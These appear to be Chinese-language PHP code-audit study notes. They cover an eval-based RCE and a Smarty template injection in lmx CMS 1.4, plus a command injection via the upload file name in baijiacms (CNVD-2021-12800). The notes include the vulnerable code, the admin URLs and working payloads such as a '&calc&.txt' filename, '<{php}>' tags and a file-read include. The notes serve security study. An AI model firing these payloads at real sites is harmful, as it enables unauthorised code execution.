MVC-PHP代码审计-RCE-审计-版本对比工具 #
先判断是不是MVC
找到具体的文件进行判断
搞清楚路由
搞清楚配置文件
搞清楚是否是开发框架如 TP YII 如是则用已知漏洞来打
案例一lmx1.4RCE-读取数据库造成RCE #
代码关键位置在admin文件夹下面的AcquisiAction.class.php
关键代码
我们访问应该admin.php?m=Acquisi&a=showCjData&cid=1&lid=1&id=1
记得往数据库里面放东西
public function showCjData(){
$cjData = $this->model->getOneCjData($this->lid);
$jdData = $this->model->getOne($this->id);
$fieldData = $GLOBALS['allfield'][$jdData['mid']];
$temdata = $this->model->caijiDataOne($_GET['cid']);
$this->smarty->assign('jdData',$jdData);
$this->smarty->assign('cjData',$cjData);
$fieldData = tool::arrV2K($fieldData,'fname');
eval('$data = '.$temdata['data'].';');
caijiDataone是一个sql语句查询id id=$cid
public function caijiDataOne($id){
$this->cj_data_tab();
$param['where'] = 'id='.$id;
return parent::oneModel($param);
}
是不是我们先传入数据到数据库然后会放到eval执行以php执行就变成了RCE了呢我们先杀死hi
当的数据库有php代码他也会执行
总结
$temdata=select * from lmx_cj_data where id = xx 是一个数组
下面取出数组中的data来执行
eval(’$data = ‘.$temdata[‘data’].’;’);读取的是数据库中的data字段
通过eval()执行 "$data = 数组字符串;"
lmx1.4RCE-后台ssti注入-smart语法 #
看代码发现plug下面有使用smart插件
加入到index.html最后
<{include file=“c://windows/win.ini”}> 读取文件
<{php}>phpinfo();<{/php}> 执行php代码
代码审计对比工具 #
当你在代码审计发现不同版本时候可以用工具来对比代码
WinMerge-2.16.50.2-x64-Setup
还记得前台的sql注入吗 这里清除的看到了直接对GET进行过滤还没到数据库里面就没了
案例2-baijiacms-RCE–命令执行 #
baijiacmsV4-4.1.4\includes\baijiacms\common.inc.php
https://www.cnvd.org.cn/flaw/show/CNVD-2021-12800
安装用5版本的php 安装麻烦死了
搜索system( 看到一个文件叫common.inc.php
function file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path,$allownet=true)
{
$settings=globaSystemSetting();
if(!file_move($file_tmp_name, $file_full_path)) {
return error(-1, '保存上传文件失败');
}
if(!empty($settings['image_compress_openscale']))
{
$scal=$settings['image_compress_scale'];
$quality_command='';
if(intval($scal)>0)
{
$quality_command=' -quality '.intval($scal);
}
system('convert'.$quality_command.' '.$file_full_path.' '.$file_full_path);
}
intval是否整数>0 让他小于0
$settings['image_compress_openscale'不为空
然后我们看到这个system这时候分析函数变量是否可控
1:$quality_command这个变量不行因为=空了 而且是数字没什么用啊
那我们就看file_full_path 也就是函数的第四个
同时if(!empty($settings[‘image_compress_openscale’])) 不为空
2: 然后我们点击谁引用了发现->
system/weixin/class/web/setting.php引用了
它满足了第四个变量可控
$extention = pathinfo($file['name'], PATHINFO_EXTENSION);
$extention=strtolower($extention);
if($extention=='txt')
{
$substr=substr($_SERVER['PHP_SELF'], 0, strrpos($_SERVER['PHP_SELF'], '/'));
if(empty( $substr))
{
$substr="/";
}
$verify_root= substr(WEB_ROOT."/",0, strrpos(WEB_ROOT."/", $substr))."/";
//file_save($file['tmp_name'],$file['name'],$extention,$verify_root.$file['name'],$verify_root.$file['name'],false);
file_save($file['tmp_name'],$file['name'],$extention,WEB_ROOT."/".$file['name'],WEB_ROOT."/".$file['name'],false);
3:那我们怎么访问这个页面呢
对应了system -> manager - > template - > web - > store_display
http://localhost:906/index.php?mod=site&act=manager&do=store&op=display&beid=1 这是根目录
system/weixin/class/web/setting.php要到这个地方
http://localhost:906/index.php?mod=site&act=weixin&do=setting
果然看到了一个文件上传的地方
同时要满足不为空 ->通过引用了找到这个文件
system/manager/template/web/netattach.php
构造访问目录
http://localhost:906/index.php?mod=site&act=manager&do=netattach
可以发现设置为1可以不为空所以我们把功能打开
利用过程 #
通过上传后抓包
if($extention=='txt') 首先后缀是txt才能过去
他直接拼接我们上传的名字我们可以用连接符
如whoami & ipconfig
如 1231321321333333&&whoami 虽然前面报错但是后面依旧执行
所以我们发包
Content-Disposition: form-data; name="weixin_verify_file"; filename="&calc&.txt" 修改后看会不会弹出
可以发现直接弹出了计算器
- 传入
&calc&会执行calc,无需额外引号(因为原代码没有用引号包裹变量);